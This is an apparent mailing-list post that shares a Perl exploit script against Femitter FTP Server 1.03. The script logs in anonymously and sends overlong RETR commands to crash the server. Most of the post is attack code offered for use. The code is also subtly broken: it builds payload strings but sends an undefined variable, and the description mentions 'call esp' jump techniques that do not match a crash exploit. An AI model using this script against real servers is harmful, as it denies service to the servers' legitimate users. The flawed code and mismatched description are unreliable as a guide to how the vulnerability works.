CXSEC team, good morning. How are you team? I'm sharing the creation of an exploit to exploit a denial of service vulnerability in: Femitter FTP Server 1.03 - Denial of Service. Have a great day and a great week. Thanks very much. Regards, #!/usr/bin/perl use Net::FTP; # Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 08 january 2024 # Vendor Homepage: https://acritum.com/ # Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing # Notification vendor: No reported # Tested Version: Femitter FTP Server 1.03 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption. #When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x41\x2C\x41\x20\x42"x500; my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@"; my $sc= "A"x800; $ftp->login("anon","anon") or die "Failed: " . $ftp->message; $ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message; $ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message; $ftp->quit; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "######################################################################\n"; print "# Femitter FTP Server 1.03 - Denial of Service #\n"; print "# #\n"; print "# Coded by Fernando Mengali #\n"; print "# #\n"; print "# e-mail: fernando.mengalli\@gmail.com #\n"; print "# #\n"; print "######################################################################\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated